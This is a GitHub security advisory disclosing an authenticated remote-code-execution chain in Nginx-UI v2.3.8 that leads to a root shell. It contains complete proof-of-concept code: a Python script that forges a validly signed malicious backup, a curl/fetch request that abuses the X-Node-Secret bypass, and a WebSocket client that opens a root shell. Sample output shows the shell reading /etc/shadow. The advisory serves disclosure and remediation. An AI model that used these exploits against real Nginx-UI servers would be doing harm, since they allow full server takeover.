Skip to main content
Menu
Advisories

Nginx-UI: Authenticated RCE via Backup Restore Leads to Root Shell

GHSA-R7JH-46X8-GRJ8Published Updated GitHub

Description

A chain of five design flaws in Nginx-UI v2.3.8 allows an attacker with a valid session — including a compromised account, phished credential, or malicious insider — to achieve full remote code execution as root. No administrator interaction is required beyond the attacker's own session.

The attack works as follows: the backup manifest signature scheme is cryptographically circular — it derives the verification key from the same user-supplied AES key that the attacker controls, making integrity verification meaningless. This allows the attacker to upload a crafted backup bundle that overwrites app.ini with arbitrary configuration. The injected config plants a known NodeSettings.Secret value and sets terminal.StartCmd = bash. After the server automatically restarts, the attacker uses the injected secret to bypass all API authentication (X-Node-Secret header), issues a short-lived WebSocket token, bypasses the WebSocket origin check with the same secret, and connects to a root bash shell through the /api/pty terminal endpoint.

End result: full root shell on the server, complete loss of confidentiality, integrity, and availability.

Note on threat model: This vulnerability does not require a low-privilege role in a tiered permission system. It requires only a valid session — which can be obtained via credential stuffing, phishing, session hijacking, or a disgruntled insider. Authenticated RCE is consistently rated High or Critical by CVE scoring bodies (e.g. CVE-2023-46604, CVE-2024-21887) regardless of whether role separation exists in the target application.

---

Details

a

Vulnerability 1 — Circular Trust in Backup Manifest Signature Verification

File: internal/backup/manifest.go, lines 156–163, 181–193

The backup restore endpoint accepts a manifest.json + manifest.sig pair and verifies the HMAC-SHA256 signature before trusting the bundle contents. The signing key is derived as:

func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
    sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
    return sum[:], nil
}

aesKey here is the raw AES-256 key extracted from the user-supplied Security Token (base64(key):base64(iv)). The verification function then uses this derived key to check the signature:

func verifyManifestSignatureWithFallback(manifestBytes []byte, signature string, aesKey []byte) error {
    aesSigningKey, _ := deriveBackupSigningKeyFromAESKey(aesKey)
    if verifyManifestSignature(manifestBytes, signature, aesSigningKey) == nil {
        return nil  // ← Passes when attacker signs with their own derived key
    }
    // fallback paths omitted for brevity
}

The flaw: both the attacker-produced signature and the server-side verification key are derived from the same attacker-controlled aesKey. An attacker who crafts a backup ZIP and generates HMAC-SHA256(manifest.json, SHA256("nginx-ui-backup-signing-v1:" || aesKey)) will always pass verification. The signature provides zero integrity guarantee — it only proves that the submitter knew their own key, which is trivially true.

This is the root primitive that unlocks the entire attack chain. Without it, the remaining vulnerabilities would require physical server access to exploit.

---

Vulnerability 2 — Unrestricted app.ini Overwrite During Restore

File: internal/backup/restore.go, lines 458–484

When restoreNginxUIConfig is called (triggered when "Restore Nginx-UI Config" is checked in the UI), the server performs a blind file copy of the attacker-controlled app.ini from inside the backup ZIP over the live configuration file:

func restoreNginxUIConfig(nginxUIBackupDir string) error {
    srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
    if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
        return err
    }
    // Server restart is triggered immediately after this returns
}

There is no sanitization, no field allowlist, and no validation of the values being written. Any INI section or key that the server reads at startup can be poisoned. The function then calls risefront.Restart() with a ~2-second delay, causing the server to reload with the malicious configuration.

The two highest-value injections are:

  • [node] Secret = <attacker_value> — plants a known Node Secret for authentication bypass (Vuln 3 & 4)
  • [terminal] StartCmd = bash — overrides the restricted shell with an unrestricted bash (Vuln 5)

Additional useful injections include SkipInstallation = true (prevents redirect to /install) and JwtSecret = <any> (keeps the server in "installed" state).

---

Vulnerability 3 — X-Node-Secret Header Bypasses All API Authentication

File: internal/middleware/middleware.go, lines 97–103

Nginx-UI supports a cluster feature where remote nodes authenticate using a shared secret transmitted as the X-Node-Secret HTTP header. This header is designed for internal host-to-host cluster communication and should never be reachable from the public-facing interface. However, it is currently exposed on the same listener as the regular user API, and the authentication middleware checks it before any JWT or session validation:

if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
    initUser := user.GetInitUser(c)
    c.Set("Secret", nodeSecret)
    c.Set("user", initUser)
    c.Next()  // ← Complete auth bypass — JWT and password checks are skipped
    return
}

getNodeSecret reads from c.GetHeader("X-Node-Secret") or a cookie. The comparison is a plain string equality check against settings.NodeSettings.Secret — the value loaded from app.ini at startup.

Because the attacker injected a known value for NodeSettings.Secret in step 2 and the server has restarted with that config, any HTTP request bearing X-Node-Secret: <injected_value> is treated as a fully authenticated, privileged session regardless of the actual user credentials. This applies to all API routes protected by this middleware, including /api/token/short.

The critical consequence: the attacker calls POST /api/token/short with only the X-Node-Secret header, and the server issues a valid 16-character short-lived WebSocket token bound to userID=1 (the initial admin user).

---

Vulnerability 4 — X-Node-Secret Also Bypasses WebSocket Origin Check

File: internal/middleware/websocket_origin.go, lines 39–46

The WebSocket terminal endpoint (/api/pty) enforces an Origin header check to prevent cross-site WebSocket hijacking. However, requests that carry a valid Node Secret are unconditionally exempted:

func isTrustedNodeRequest(r *http.Request) bool {
    secret := r.Header.Get("X-Node-Secret")
    return secret != "" && secret == settings.NodeSettings.Secret
}

// CheckWebSocketOrigin:
// if isTrustedNodeRequest(r) { return true }  ← Origin check skipped entirely

This means the attacker can connect to ws://target/api/pty?token=<short_token> from any origin, on any host, without a browser context — for example, directly from a Python WebSocket client — simply by including the X-Node-Secret header in the upgrade request.

---

Vulnerability 5 — terminal.StartCmd Controls Which Binary the PTY Spawns

File: settings/terminal.go, consumed during PTY session initialization

When a user connects to /api/pty, the server spawns a PTY subprocess using the binary specified in settings.TerminalSettings.StartCmd. Under a default installation this is bash or a restricted shell depending on the deployment. However, the value is loaded directly from app.ini with no restriction on what binary may be specified.

The attacker's injected app.ini includes:

[terminal]
StartCmd = bash

In the official Docker image, the Nginx-UI process runs as root. Therefore the spawned bash process also runs as root, granting the attacker an unrestricted interactive root shell inside the container.

On bare-metal deployments where Nginx-UI is run as a non-root user, StartCmd could be set to other binaries (e.g., sh, /bin/bash, or arbitrary paths) and the resulting shell privilege level matches the service account.

---

Complete Attack Flow

<img width="1024" height="1536" alt="flow_drkim" src="github.com/user-attachments/assets/23f39903-a33e-4c92-a0db-4660e353ea74" />

---

PoC

Prerequisites

RequirementDetails
TargetNginx-UI v2.3.8, network-accessible
Attacker sessionAny valid login (obtained via credential theft, phishing, or insider access)
Attacker machinePython 3.8+, pycryptodome, websocket-client
pip install pycryptodome websocket-client

---

Phase 1 — Generate Malicious Backup Bundle

Save as poc_phase1_generate.py and run from the attacker machine. This script produces evil_backup.zip — a fully signed, encrypted backup bundle that carries a poisoned app.ini.

#!/usr/bin/env python3
"""
Nginx-UI v2.3.8 - Phase 1: Malicious Backup Generator
Exploits Circular Trust (Vuln 1) to craft a signature-valid backup
that injects NodeSettings.Secret and terminal.StartCmd into app.ini.
"""

import base64, hashlib, hmac, json, os, zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# ── Attacker-controlled parameters ──────────────────────────────────────────
KEY         = b"A" * 32                    # AES-256 key (arbitrary; attacker chooses)
IV          = b"B" * 16                    # AES CBC IV (arbitrary; attacker chooses)
NODE_SECRET = "pwned-node-secret-9999"     # Value to inject into NodeSettings.Secret
OUTPUT_FILE = "evil_backup.zip"
# ─────────────────────────────────────────────────────────────────────────────

# The Security Token the UI expects: base64(key):base64(iv)
KEY_B64        = base64.b64encode(KEY).decode()
IV_B64         = base64.b64encode(IV).decode()
SECURITY_TOKEN = f"{KEY_B64}:{IV_B64}"

# Must match the constant in manifest.go
MANIFEST_KEY_CONTEXT = b"nginx-ui-backup-signing-v1:"


def aes_cbc_encrypt(data: bytes) -> bytes:
    """Encrypt data with attacker-chosen KEY/IV using AES-256-CBC + PKCS7 padding."""
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    return cipher.encrypt(pad(data, AES.block_size))


def build_zip(filename: str, files: dict) -> bytes:
    """Create an in-memory ZIP archive and return its raw bytes."""
    with zipfile.ZipFile(filename, "w", compression=zipfile.ZIP_DEFLATED) as zf:
        for name, data in files.items():
            zf.writestr(name, data)
    with open(filename, "rb") as f:
        raw = f.read()
    os.remove(filename)
    return raw


# ── Malicious app.ini ────────────────────────────────────────────────────────
# Key injections:
#   [node]     Secret          → known value for X-Node-Secret auth bypass
#   [node]     SkipInstallation → prevents redirect to /install after restart
#   [terminal] StartCmd        → "bash" spawns unrestricted root shell
#   [app]      JwtSecret       → any non-empty value keeps server in "installed" state
app_ini_content = f"""[app]
JwtSecret = redpoc-placeholder-jwt

[server]
RunMode = release

[node]
Name = Local
Secret = {NODE_SECRET}
SkipInstallation = true

[database]
Name = database

[terminal]
StartCmd = bash
""".encode("ascii")

print(f"[*] Building malicious backup bundle...")
print(f"[*] Injecting NodeSettings.Secret  : {NODE_SECRET}")
print(f"[*] Injecting terminal.StartCmd    : bash")

# Build inner ZIPs (nginx-ui.zip contains app.ini; nginx.zip is a harmless stub)
nginx_ui_zip_bytes = build_zip("_tmp_ui.zip",  {"app.ini":    app_ini_content})
nginx_zip_bytes    = build_zip("_tmp_ng.zip",  {"nginx.conf": b"# placeholder\n"})

# Encrypt both inner ZIPs with the attacker-chosen AES key
enc_nginx_ui = aes_cbc_encrypt(nginx_ui_zip_bytes)
enc_nginx    = aes_cbc_encrypt(nginx_zip_bytes)

# Build manifest.json — identical schema to what the server produces legitimately
manifest = {
    "schema": 1,
    "created_at": "20260422-200000",
    "version": "2.3.8",
    "files": [
        {
            "name":   "nginx-ui.zip",
            "sha256": hashlib.sha256(enc_nginx_ui).hexdigest(),
            "size":   len(enc_nginx_ui),
        },
        {
            "name":   "nginx.zip",
            "sha256": hashlib.sha256(enc_nginx).hexdigest(),
            "size":   len(enc_nginx),
        },
    ],
}
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode("ascii")

# ── Circular Trust exploit ───────────────────────────────────────────────────
# The server derives the verification key as:
#   signing_key = SHA256(MANIFEST_KEY_CONTEXT + aesKey)
# Since aesKey is attacker-supplied, the attacker can reproduce this derivation
# and sign a malicious manifest that will pass server-side verification.
signing_key = hashlib.sha256(MANIFEST_KEY_CONTEXT + KEY).digest()
signature   = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()

print(f"[*] Signing manifest with attacker-derived key (Circular Trust)...")
print(f"    signing_key (hex) : {signing_key.hex()[:32]}...")
print(f"    signature (hex)   : {signature[:32]}...")

# Assemble final outer ZIP
with zipfile.ZipFile(OUTPUT_FILE, "w") as zf:
    zf.writestr("nginx-ui.zip",  enc_nginx_ui)
    zf.writestr("nginx.zip",     enc_nginx)
    zf.writestr("manifest.json", manifest_bytes)
    zf.writestr("manifest.sig",  signature.encode())

print(f"\n[+] Output: {OUTPUT_FILE}")
print(f"[+] Security Token (paste into UI): {SECURITY_TOKEN}")
print(f"[+] Node Secret    (use in Phase 2): {NODE_SECRET}")

Run:

python poc_phase1_generate.py

Expected output:

[*] Building malicious backup bundle...
[*] Injecting NodeSettings.Secret  : pwned-node-secret-9999
[*] Injecting terminal.StartCmd    : bash
[*] Signing manifest with attacker-derived key (Circular Trust)...
    signing_key (hex) : 3a7f...
    signature (hex)   : d1c9...
[+] Output: evil_backup.zip
[+] Security Token (paste into UI): QUFB...QUE=:QkJC...Qg==
[+] Node Secret    (use in Phase 2): pwned-node-secret-9999

<img width="1327" height="529" alt="1" src="github.com/user-attachments/assets/4e6fb174-6467-4713-92b2-a92a88bf9b9f" /> <img width="753" height="72" alt="2" src="github.com/user-attachments/assets/b53224c7-e787-45bf-8cef-eb202d078b04" />

---

Phase 2 — Upload and Trigger the Restore

  1. Log in to Nginx-UI at http://<TARGET>:<PORT>
  2. Navigate to Left Sidebar → Backup

<img width="1359" height="854" alt="3" src="github.com/user-attachments/assets/990f886b-18dd-47df-a21d-0658728dec07" />

  1. Scroll to System Restore

<img width="1595" height="463" alt="4" src="github.com/user-attachments/assets/10271200-27ba-425c-9c1d-4eec3d8f4eb8" />

  1. Click Upload File → select evil_backup.zip
  2. Enable "Restore Nginx-UI Config" (this triggers restoreNginxUIConfig, the vulnerable code path)
  3. Paste the Security Token printed by Phase 1 into the Security Token field
  4. Click Restore

<img width="1176" height="768" alt="5" src="github.com/user-attachments/assets/2a69c53e-75b4-4b50-9fbe-dc622b71708d" />

  1. The server triggers risefront.Restart() — the browser will redirect to /#/login after ~2 seconds. This is expected.

<img width="670" height="265" alt="6" src="github.com/user-attachments/assets/8c5457f5-e381-42d1-824d-3e265442458e" />

At this point, the server has restarted with the malicious app.ini on disk. NodeSettings.Secret and terminal.StartCmd are now attacker-controlled.

---

Phase 3 — Obtain a Short-Lived WebSocket Token via Auth Bypass

After the server restarts, send POST /api/token/short with only the injected Node Secret as the authentication credential. No valid JWT, session cookie, or user password is required.

Option A — Browser DevTools (F12 → Console):

// Exploit X-Node-Secret auth bypass (middleware.go:97-103) to issue a
// short-lived PTY session token bound to userID=1 (the initial admin).
fetch('/api/token/short', {
    method: 'POST',
    headers: { 'X-Node-Secret': 'pwned-node-secret-9999' },
    credentials: 'include'
})
.then(r => r.json())
.then(d => {
    console.log("[+] Short token:", d.short_token);
    window._shortToken = d.short_token;
});

Option B — curl:

curl -s -X POST http://<TARGET>:<PORT>/api/token/short \
     -H "X-Node-Secret: pwned-node-secret-9999" | python3 -m json.tool

Expected response:

{
    "short_token": "hCurzGT02k7ZsWZI"
}

<img width="1319" height="799" alt="7" src="github.com/user-attachments/assets/2d4bf516-0184-4301-b0be-498b38cc6702" />

The token is 16 characters, valid for a short window (default ~30 seconds). Proceed immediately to Phase 4.

---

Phase 4 — Connect to Root Shell via WebSocket Terminal

Save as poc_phase4_shell.py. The script connects to /api/pty with the short token, bypasses the WebSocket origin check using X-Node-Secret, and opens an interactive PTY session.

#!/usr/bin/env python3
"""
Nginx-UI v2.3.8 - Phase 4: WebSocket Root Shell
Exploits:
  - X-Node-Secret WebSocket origin bypass (websocket_origin.go:39-46)
  - terminal.StartCmd = bash (runs as root in Docker)

Usage:
  python poc_phase4_shell.py <TARGET_HOST> <TARGET_PORT> <SHORT_TOKEN> [NODE_SECRET]

Example:
  python poc_phase4_shell.py 192.168.170.140 8080 hCurzGT02k7ZsWZI pwned-node-secret-9999
"""

import json, sys, threading, time
import websocket

# ── Parse arguments ──────────────────────────────────────────────────────────
if len(sys.argv) < 4:
    print(__doc__)
    sys.exit(1)

TARGET_HOST  = sys.argv[1]
TARGET_PORT  = int(sys.argv[2])
SHORT_TOKEN  = sys.argv[3]
NODE_SECRET  = sys.argv[4] if len(sys.argv) > 4 else "pwned-node-secret-9999"

WS_URL = f"ws://{TARGET_HOST}:{TARGET_PORT}/api/pty?token={SHORT_TOKEN}"
# ─────────────────────────────────────────────────────────────────────────────

ws_ref    = [None]
connected = threading.Event()


def send_input_data(ws, text: str) -> None:
    """Send keyboard input to the PTY (Type=1)."""
    ws.send(json.dumps({"Type": 1, "Data": text}))


def send_resize(ws, cols: int = 180, rows: int = 40) -> None:
    """Send terminal resize event to the PTY (Type=2)."""
    ws.send(json.dumps({"Type": 2, "Data": {"Cols": cols, "Rows": rows}}))


def on_open(ws):
    ws_ref[0] = ws
    send_resize(ws, 180, 40)
    connected.set()
    sys.stdout.write("\n" + "=" * 60 + "\n")
    sys.stdout.write("[+] ROOT SHELL CONNECTED  (Ctrl+C to exit)\n")
    sys.stdout.write("=" * 60 + "\n\n")
    sys.stdout.flush()


def on_message(ws, message: str) -> None:
    """Raw PTY output — write directly to stdout."""
    sys.stdout.write(message)
    sys.stdout.flush()


def on_error(ws, error) -> None:
    sys.stderr.write(f"\n[-] WebSocket error: {error}\n")


def on_close(ws, close_code, close_reason) -> None:
    sys.stderr.write(f"\n[-] Connection closed: {close_code} {close_reason}\n")
    sys.exit(0)


def interactive_input_loop() -> None:
    """Read stdin and forward each line to the remote PTY."""
    connected.wait()
    time.sleep(0.3)
    while True:
        try:
            line = input()
            if ws_ref[0]:
                send_input_data(ws_ref[0], line + "\n")
        except (KeyboardInterrupt, EOFError):
            if ws_ref[0]:
                ws_ref[0].close()
            break


print(f"[*] Connecting to: {WS_URL}")
print(f"[*] X-Node-Secret : {NODE_SECRET}")

ws_app = websocket.WebSocketApp(
    WS_URL,
    # X-Node-Secret bypasses Origin check in websocket_origin.go:39-46
    header={"X-Node-Secret": NODE_SECRET},
    on_open=on_open,
    on_message=on_message,
    on_error=on_error,
    on_close=on_close,
)

threading.Thread(target=interactive_input_loop, daemon=True).start()
ws_app.run_forever()

Run:

python poc_phase4_shell.py [Target] [port] [Short Token] pwned-node-secret-9999

<img width="1467" height="196" alt="8" src="github.com/user-attachments/assets/3360a4ec-ad38-48ba-b911-fb7693cd42ff" />

Expected output:

[*] Connecting to: ws://192.168.170.140:8080/api/pty?token=hCurzGT02k7ZsWZI
[*] X-Node-Secret : pwned-node-secret-9999

============================================================
[+] ROOT SHELL CONNECTED  (Ctrl+C to exit)
============================================================

root@b634cba9363e:/# whoami
root
root@b634cba9363e:/# id
uid=0(root) gid=0(root) groups=0(root)
root@b634cba9363e:/# cat /etc/shadow | head -3
root:!:19840:0:99999:7:::
daemon:*:19469:0:99999:7:::
bin:*:19469:0:99999:7:::

<img width="1293" height="528" alt="9" src="github.com/user-attachments/assets/6ae937e8-9246-4148-9e18-c6a6ae1d8e6f" />

---

Proof of Exploitation

The following shell prompt was captured on Nginx-UI v2.3.8 running in the official Docker image:

root@b634cba9363e:/run/s6-rc:s6-rc-init:fcPLIo/servicedirs/nginx-ui# id
uid=0(root) gid=0(root) groups=0(root)

---

Impact

Who Is Affected?

Any deployment of Nginx-UI v2.3.8 (and likely earlier versions) that is network-accessible and has at least one user account — including the official Docker image, bare-metal installs, and reverse-proxy setups. A valid session can be obtained via:

  • Credential stuffing / brute force against weak passwords
  • Phishing targeting a legitimate user
  • Session hijacking via XSS or network interception
  • Malicious insider with legitimate access

What Can an Attacker Do?

  • Full root shell on the host (Docker container or bare metal)
  • Read/write access to all nginx configuration files, enabling traffic interception or redirection
  • Persistent backdoor (SSH key injection, cron jobs, etc.)
  • Complete loss of confidentiality, integrity, and availability of the server

Why Authenticated RCE Is Still Critical

The absence of a tiered permission model does not reduce the severity of this vulnerability. Security boundaries still exist between:

  • Users and the host OS — a user interacting with a web UI should not be able to execute arbitrary binaries as root on the underlying server
  • Cluster-internal interfaces and the public API — X-Node-Secret is a host-to-host trust mechanism that should never be reachable from the internet-facing interface

Authenticated RCE is consistently treated as High or Critical by CVE scoring bodies when it results in OS-level code execution, regardless of whether the triggering application has role separation.

Severity Justification (CVSS 8.8)

  • AV:N — Network attack vector, no local access required
  • AC:L — No race conditions or special timing
  • PR:L — Requires a valid session (obtainable via multiple realistic attack vectors)
  • UI:N — No victim interaction required
  • C:H / I:H / A:H — Full root shell, complete server takeover

---

Remediation Recommendations

1. Fix Circular Trust in Manifest Signature Verification (Critical)

The manifest signing key must be derived exclusively from a server-side secret that the attacker cannot know or influence — for example CryptoSettings.Secret, which is generated at install time and never transmitted to clients.

// Secure alternative: derive signing key from server-side secret only
func deriveManifestSigningKey() ([]byte, error) {
    sum := sha256.Sum256(append([]byte(manifestKeyContext), []byte(settings.CryptoSettings.Secret)...))
    return sum[:], nil
}

The user-supplied AES key should be used only for symmetric encryption/decryption of the payload, never for signature verification.

2. Sanitize Restored Configuration (Critical)

restoreNginxUIConfig must not perform a blind overwrite. Implement an allowlist of configuration keys that are safe to restore, and explicitly reject security-sensitive fields:

  • [node] Secret — must never be imported from a backup
  • [terminal] StartCmd — must never be imported from a backup
  • [app] JwtSecret — should be regenerated server-side, not imported

3. Restrict X-Node-Secret to Internal Interfaces (High)

The Node Secret authentication path should be bound to a separate internal-only listener or should reject requests that arrive on the public-facing interface. At minimum, it should be disabled if the cluster feature is not configured.

4. Harden WebSocket Terminal Authentication (High)

The /api/pty endpoint should require a full JWT token issued through the standard authentication flow. A short-lived token obtained via a Node Secret bypass must not be sufficient to open a privileged PTY session.

5. Restrict terminal.StartCmd to an Allowlist (Medium)

The terminal start command should be restricted to a fixed set of permitted shells (e.g., ["bash", "sh", "zsh"]) and validated at startup. It should not be a free-form configurable string.

Affected versions

References

GitHub · 0xJacky/nginx-ui